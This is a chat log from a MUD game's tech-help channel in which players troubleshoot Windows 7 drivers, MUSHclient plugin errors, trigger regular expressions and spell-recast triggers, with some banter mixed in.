T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So? Tech channel is general tech help, it need not be mud related
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: o cool thanks
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I instaled win 7 bottom right the speaker icon has a x on it and it is not picking up my speakers
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You using a sound card, or onboard audio?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Probably sound driver issue.  Did you install those yet?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I don't have a driver cd
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Should be able to find the drivers online if you know where your sound is coming from.  If it's from the mobo, get the drivers for that.  If it's a PCI card, just google the card.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Redryn Tech: when you say the speaker icon on the taskbar has an x on it
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ...I'm not that good with pc's...it pluged into the motherboard
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Redryn Tech: you don't mean it's muted right
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: If you know the model of your computer, you should be able to go to the vendor site online and find the support page for your model.  Drivers will be there.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: no it has no audio devices
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: I have no idea the make of my pc lol its also not picking up my grafix card
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Book of Etzli Tech: Hahaha... so not only is the new Xbox going to supposedly be an "always-on" console requiring internet connection, but it will not play Xbox 360 discs at all. :D
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Graphix card will also need drivers if you haven't installed them.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: graphics drivers are easier to find online because there's really only two companies who make consumer cards, and they have auto-detect driver packages.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok...so ill see if I can get the grafix drivers but I have no idea what pc I got
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: where did you buy the PC?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its a hand me down lol :P...grafix card is a nvidia is all I know lol
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Nvidias are super easy.  Just go to nvidia.com and find the driver download.  The drivers will pretty much do the rest.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok let me start there brb
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Who handed it down?  They might have more information on it if they built it.  You'll need the mother-board model.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Redryn Tech: did whoever handed it down cannibalize all the cards? :p
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: If they didn't build it, then the vendor is likely somewhere on the box (Dell, emachine, HP, etc)
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: can't I just look somewhere on the MB?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Maybe, but it's unlikely.  Those things aren't usually well labled.  You can find it in bios sometimes, but that can be a tad tricky.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok let's do the grafix card first then the sound
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Shameful Dugrant Tech: You can download CPUZ (google it), it /might/ be able to tell you your motherboard.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: there is a serail number on my motherboard will that help?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: my pc is having a porblem with the gmcp mapper plugin keep getting a runtime error
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anyone?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ah, the good old "error"
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yah i have no idea how to fix it
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and neither does anyone else unless you tell what the error was
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: reading them does help
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: Run-time error
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: Plugin: Aardwolf_GMCP_Mapper (called from world: Aardwolf)
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: Function/Sub: OnPluginInstall called by Plugin Aardwolf_GMCP_Mapper
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: Reason: Executing plugin Aardwolf_GMCP_Mapper sub OnPluginInstall
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: [string "Plugin"]:1802: file is encrypted or is not a database
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: CODE: 26
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: QUERY: PRAGMA wal_checkpoint(FULL)
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i miss the times when people wrote their own bots :(
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't know anything about mush, but maybe reinstall the plugins?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: seems to be a common answer here
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: did that stil othing
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nothing*
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: or restart mush
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: did that too stil nothing
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: then maybe contact Fiendish about it
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its all since i got win 7
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: oh, there it is
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: don't install mush in program files
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: what folder did you install mush? Don't install in program files folders
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it is on my desctop
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ah, and it was on the desktop of your old windows install?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: yes
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's environment variables then
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you need to /really/ uninstall the plugins/settings then
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: seems like the plugin was using full path instead of %APPDATA%
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: and this is a fresh client my old client doesent even open gives a error right off the bat
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's trying to use c:\documents and settings\you\desktop instead of c:\users\you\desktop
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i don't know why vanilla install wouldn't work
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: bottom line windows 7 sucks ass
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Alzar Tech: What's wrong with windows 7?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}ElFeneri Tech: windows
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Alzar Tech: Lol. I mean, love it or hate it windows definately has its uses.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Rusk Tech: its windows?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: how do i execute an alias inside a trigger ?stand
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: what client?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: mush
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: look for the send to dropdown box
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: change the "send to" drop-down menu to "execute"
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: i know that much but im doing this inside a plugin
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: Then set "send_to" to whatever number execute is
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: Or better yet
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: Just do Execute("foo")
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: tried changing  ths sendto to 10 and that didnt work either
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: Instead of Send()
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: oh will try that
T3/r7/2013-04-10.txt.gz:{chan ch=tech}BlueBeetle Tech: i take it the alias  will need to be defined in same plugin then ?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: think so yes
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: It checks in-plugin aliases first, but if there's not one, it should match global aliases
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: but not an alias defined in another plugin, I don't think
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Leinei Tech: oh yes it will
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so I'm in my device maniger on win 7...multimedia sudio controller doesent have drivers..any idea where I can get some?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vost Tech: have you tried a Google search?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: google would be a good first start
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok so I whas googeling multimedia audio controller driver free downolad win 7...and I just get a lead of crap
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: bad idea to copy all the drivers from xp to win 7?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok a less dumb question can a external HD be your main?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: sure
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so if I have no internal and I plug in a external wil it then boot windows from cd?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: change the boot order in your bios
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: well thanks let's hope that wil help lol...still need drivers thoug..how can win 7 not have the driviers.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: it should
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its not picking up my sound or my gravix card
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Leonassan Tech: Is it a creative labs card?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Zade Tech: gravix or gravis
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its a nvidia card
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: if I could just get the sound to work
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok so my gmcp mapper isent working at all
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: on startup i get a error
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Copy all output to pastebin, and put up a link - the answer is probably in the error somewhere
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: o...k this might take a while :P
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Should just be drag output, ctrl c, open browser, type pastebin.com, ctrl v, submit, say link
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: .....UGH!
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: no submit buton
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: to set up my key pad...ak is to kill the mob go is to go to the room what is the other one to go to the next room?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: ehm what?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like SnD?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ok before my problem i had my keypad set up...if i push 9 witch is go it will rt the mob of my cp and if i press 3 witch is ak it kills my mob there is another one that go's to the next room if there is more than 1 of the same name
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Those are not normal mud things, those are very sophisticated scripts, and the only public one of those I know of is SnD
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it is part of ther s&d....
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i just cant remember the last one
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so i have all my trigers and stuf on my old aard but it cant open is there another way to get them?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: move them to your new aard
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how...
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: on the aardwolf site is a section about installing a new version and moving all triggers and such over to the new one
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ayasinda, that requires opening the old one
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You could copy across the mcl file, but you are inviting bugs doing so
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: exactly give that man a cat
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: Hey the guys just asked how to move his triggers. 
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i did say it cant open
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and said he ouldnt open his old aard
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Ayasinda Tech: No. But I don't care. Don't want to argue. Too tired
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: so any ideas or ideas on how to get my old one openr?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: open*
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i could give you the error sec
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: shit now i cant see my input window i pull it up but when i type it disapears
T3/r7/2013-04-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: any ideas on how to fix it?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have a galaxy tab 2 that has been rooted?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vesuviou Tech: i keep getting error connection like connection time out, is anything wierd happening?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Tigernuts Tech: some router borkage in new york
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vost Tech: MUB crashed
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vost Tech: MUD crashed
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Tigernuts Tech: didn't
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vesuviou Tech: ahh
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Oladon Tech: The MUD didn't crash.
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vost Tech: oh?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Brujah Tech: it didn't?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Tigernuts Tech: type realtime
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vesuviou Tech: so i am not the only one, thanks
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Tech: Vost goes, "Hmmmm."
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vost Tech: that explains the lack of qreset period
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have a galaxy tab 2 that has been rooted?
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vale Tech: i normally use 2 monitors i jsut opened a program that would usually be on my second monitor but i'm travelling and don't have it and can't see the window and can't figure out how to get it on my main screen (windows 7)
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Mye Tech: if it's the same as prior versions, while window has focus do this: <alt>+Space, M, <ctrl>+<left arrow>, move your mouse
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Vale Tech: that got it thanks
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: Not really
T3/r7/2013-04-10.txt.gz:{chan ch=tech}Queen Bee Noegel Tech: mis
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i need some help with the s&d i forgot some commands that were set up on my keypad
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: anybody?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: well, you better remember them
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i cant lol :P thats why im asking i can only remember 2
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i miss the times where people wrote their own bots
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so you want us to remember the commands you yourself set up?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ww help maby
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto rapidly nods twice at Seltsimees Dagnir, in complete agreement.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Endtime Tech: that takes jedi mind skills, not tech skills
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: its normal mapper commands like ak and go there are 2 others i cant remember
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Aurelia Tech: Is there a way to reset what commands the keys on the keypad represents in cmud?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ok, i'll try to remember them if tell me where i left my keys
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'd try using them
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Aurelia Tech: I did.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks for all the help :) got it
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Aurelia Tech: after installing plugins from the package library in cmud, how does one actually get them installed or working? I tried a map window and restarted the client but it isn't showing up.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: For the Mush Mapper, when it uses a portal, isn't it supposed to run you to the room you set as its first room in the area?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Ayasinda Tech: nope. It lands you at the portal deestination
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: Huh, okie
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: Hmmm, well when I made the portal to land of legend, all speedwalks that lead out of the area using it as a shortcut become messed up. It lands 1 north of the area entrance and all the speedwalks that are using this start at the entrance.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: Anyone know a fix?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: Guess I should point out that this is for Mush Mapper, and I have tried changing the first room for the area :D
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Dantin Tech: If anyone was curious, the answer to my problem was me being in the wrong room when I made the mapper portal exit
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: is there a way to have statmon on but not see it?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Ayasinda Tech: hidden behind another window?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: a plugin i have needs statmon but i hate seeing it all the time after a command so i want to not se it but still have it be there lol
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Atoam Tech: Have you tried electrical tape on your monitor?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: [Deputy] Sabertooth buries his face in his hand and sighs, shaking his head.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: you guys are no help at all
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: Atoam beams with pride.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: be sure to use the vinyl stuff... the cloth will leave gummy residue
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Myopic Tech: can you set the statmon window to be behind the main window?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: I actually liked Ayasinda's solution... hid it behind anoter window.. but for the more elegant solution, go to Fiendishe's google site and look for teh commands to hide/show windows
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: a 'hidden' window is still active, just not seen
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: it is not in its own window...it apears in the mail window
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: oh... that's different from what I have... sorry
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Ayasinda Tech: Is it the Aardwolf_statmon plugin?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: Alt-F4 makes everything disappear btw
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: dont let them trick you
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: nope
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: but it solves all your problems
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: ^^
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: you mean 'alt-F4' won't make justin beiber appear on my couch?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: if Justin beiber appears on your couch kill him and burn your couch
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: and your house
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: problem solved
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: why else would I want to summon justin beiber?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: I dono 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: weirdo
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: me or justin beiber?  or both?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Taste The Alestorm Tech: the guy that would want to summon justin
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Vonliege Tech: ya... that is pretty wierd.. let's go with the olsen twins
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: Taste The Alestorm throws back his head and cackles with insane glee!
T3/r7/2013-04-11.txt.gz:{chan ch=tech}GraySong Gregor Tech: got synergy going, don't need to keep switching between keyboards 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay i have a simple trigger triggering on ^\(Friend\)\: (.*?) has entered Aardwolf\.$, send box print (%0) sento script, i keep getting the error [string "Trigger: "]:1: function arguments expected near 'has' any reason for this?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Jhav Tech: Needs quotes around %0, and %0 should be %1 :P
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im trying to get the whole thing to send to begin with :P, so %0 is right
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: aka send the trigger line
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Jhav Tech: Oh, you really do want the whole line?  Kay.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Jhav Tech: Put quotes around the %0 then.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Jhav Tech: So print("%0")
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hmm never needed to before but okay
T3/r7/2013-04-11.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well seems to have worked, thanks
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Grissom Tech: i am trying to make a trigger in mush to requip if i am disarmed i am using ^\^\(\.(.*?)\?\) DISARMS you and you struggle not to drop your weapon\$\\$ as the trigger on section wont work any ideas?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why are you using double anchors?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Grissom Tech: so ^\(\.(.*?)\?\) DISARMS you and you struggle not to drop your weapon\$ is this better?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: what would you think about having live gamestats&ranks at aarwolf's homepage? too useless to even start pondering?:)
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can get the ranks by using the web interface on the www already, not sure value is there to be added
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Grissom, it looks like you wrote your regex, then hit the regex button - everything is escaped and doubled up
T3/r7/2013-04-11.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: players online would look cool if it refreshes itself whenever the list changes..
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Grissom Tech: ^\(\.(.*?)\?\) DISARMS you and sends your \(\.(.*?)\?\) flying\.\$ ok what must i add or remove to fix this
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: hey is somone here that can help me make some triggers..well a trigger the rest will follow pretty easy 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: its probly really simple im sure everyone has this trigger
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: what do you need help with, i'll help if i can?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Ayasinda Tech: if it was that simple you wouldn't have needed any help, right?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: no im kinda dumb somtimes
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: anyhow you know you loose concentration on spells well im trying to make a recast trigger any ideas what im doin wrong
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: ohh im running mush btw
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: using mushclient?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: yeah
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: you just answered. sorry. that trigger is a bad idea... but i have one i don't  use. one sec
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: in the trigger field  put: You lost your concentration while trying to cast *.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: in the send field write: cast '%1'
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: do i need the ' ' in there to ?
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: or jsut the %!
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: yes because the spell names are multi-word.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: k ill test this out thanks a bunch 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: would be ok to copy past your text right...
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: er paste
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: lorwrath, use a pre-built spellup script, it uses smarter stuff than that trigger
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: it can really screw you over if you get caught in a loop, be forewarned.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: both bast and winklewinkle have spellup scripts that will keep you spelled up
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Fawlty Tech: abelinc is right.
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: you don't want that trigger, because it will also fire on non-spellups, attack spells, etc
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: there are "spelltags" which give the failure reason code and the spellnumber, which avoids any multi-word issues, etc
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: yeah that does sound bad but i was just goin to do every individual spell up i have as trigger not a all around trigger 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: if you wanted to do that, then use a single trigger with a list check in the action part, rather than dozens of triggers
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Lorwrath Tech: ok so what i did is when the mud told me " You lost your concentration while trying to cast know alignment. " i pasted that in the trigger area and in the sent i put ca 59 
T3/r7/2013-04-11.txt.gz:{chan ch=tech}Tech: while you're a single-class it seems manageable...when I type aff, I get You are affected by 1 skill and 62 spells.
